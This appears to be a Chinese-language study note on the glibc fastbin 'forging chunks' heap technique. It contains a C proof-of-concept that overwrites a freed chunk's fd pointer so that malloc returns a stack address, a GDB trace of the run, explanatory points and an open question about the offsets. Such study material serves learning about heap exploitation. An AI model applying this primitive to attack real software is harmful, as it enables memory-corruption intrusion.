堆溢出的一种情况有forging chunks,见测试代码:
1 /* Per thread arena example. */ 2 #include3 #include 4 #include 5 #include 6 #include 7 #include <string.h> 8 //using namespace std; 9 10 struct forged_chunk { 11 size_t prev_size; 12 size_t size; 13 struct forged_chunk *fd; 14 struct forged_chunk *bck; 15 char buf[10]; // padding 16 }; 17 18 int main(){ 19 printf("Welcome to per thread arena example::%d\n",getpid()); 20 getchar(); 21 // First grab a fast chunk 22 void* a = malloc(10); // 'a' points to 0x555555756a80 23 24 // Create a forged chunk 25 struct forged_chunk chunk; // At address 0x7fffffffe9e0 26 chunk.size = 0x20; // This size should fall in the same fastbin 27 char* data = (char *)&chunk.fd; // Data starts here for an allocated chunk 28 strcpy(data, "attacker's data"); // 29 30 // Put the fast chunk back into fastbin 31 free(a); 32 // Modify 'fd' pointer of 'a' to point to our forged chunk 33 *((unsigned long long *)a) = (unsigned long long)&chunk; 34 // Remove 'a' from HEAD of fastbin 35 // Our forged chunk will now be at the HEAD of fastbin 36 void* tmp = malloc(10); // Will return 0x555555756a80 37 38 void* victim = malloc(10); // Points to 0x7fffffffea00 39 printf("%s\n", (char*)victim); 40 getchar(); 41 42 }
见GDB:
Starting program: /home/ubuntu/MyProject/test Welcome to per thread arena example::12323 Breakpoint 1, main () at test.cpp:20 20 getchar(); (gdb) display {a,&a,&chunk,tmp,victim} 1: {a,&a,&chunk,tmp,victim} = {0x9, 0x7fffffffe9e0, 0x7fffffffea00, 0x7fffffffea58, 0x0} (gdb) display {chunk} 2: {chunk} = {{prev_size = 1, size = 93824992233789, fd = 0x7ffff7de59a0 <_dl_fini>, bck = 0x0, buf = "\360HUUUU\000\000\020G"}} (gdb) n a 22 void* a = malloc(10); // 'a' points to 0x219c010 1: {a,&a,&chunk,tmp,victim} = {0x9, 0x7fffffffe9e0, 0x7fffffffea00, 0x7fffffffea58, 0x0} 2: {chunk} = {{prev_size = 1, size = 93824992233789, fd = 0x7ffff7de59a0 <_dl_fini>, bck = 0x0, buf = "\360HUUUU\000\000\020G"}} (gdb) n 26 chunk.size = 0x20; // This size should fall in the same fastbin 1: {a,&a,&chunk,tmp,victim} = {0x555555756a80, 0x7fffffffe9e0, 0x7fffffffea00, 0x7fffffffea58, 0x0} 2: {chunk} = {{prev_size = 1, size = 93824992233789, fd = 0x7ffff7de59a0 <_dl_fini>, bck = 0x0, buf = "\360HUUUU\000\000\020G"}} (gdb) b 36 Breakpoint 2 at 0x5555555548a6: file test.cpp, line 36. (gdb) c Continuing. Breakpoint 2, main () at test.cpp:36 36 void* tmp = malloc(10); // Will return 0x219c010 1: {a,&a,&chunk,tmp,victim} = {0x555555756a80, 0x7fffffffe9e0, 0x7fffffffea00, 0x7fffffffea58, 0x0} 2: {chunk} = {{prev_size = 1, size = 32, fd = 0x72656b6361747461, bck = 0x61746164207327, buf = "\360HUUUU\000\000\020G"}} (gdb) n 38 void* victim = malloc(10); // Points to 0x7ffc6de966a0 1: {a,&a,&chunk,tmp,victim} = {0x555555756a80, 0x7fffffffe9e0, 0x7fffffffea00, 0x555555756a80, 0x0} 2: {chunk} = {{prev_size = 1, size = 32, fd = 0x72656b6361747461, bck = 0x61746164207327, buf = "\360HUUUU\000\000\020G"}} (gdb) n 39 printf("%s\n", (char*)victim); 1: {a,&a,&chunk,tmp,victim} = {0x555555756a80, 0x7fffffffe9e0, 0x7fffffffea00, 0x555555756a80, 0x7fffffffea00} 2: {chunk} = {{prev_size = 1, size = 32, fd = 0x72656b6361747461, bck = 0x61746164207327, buf = "\360HUUUU\000\000\020G"}} (gdb)
需要说明的几点:
1. 程序中产生了一个allocated chunk:由malloc(10)产生
2. a 指向chunk后,a中fd指向了恶意代码
3. a被free后,调用malloc时,将fastbin中的空闲区占用
4. 二次malloc时,将chunk.fd所在的forge_check指针地址返回给user
问题:
33行之后,a 和chunk的的值为何相差0x20?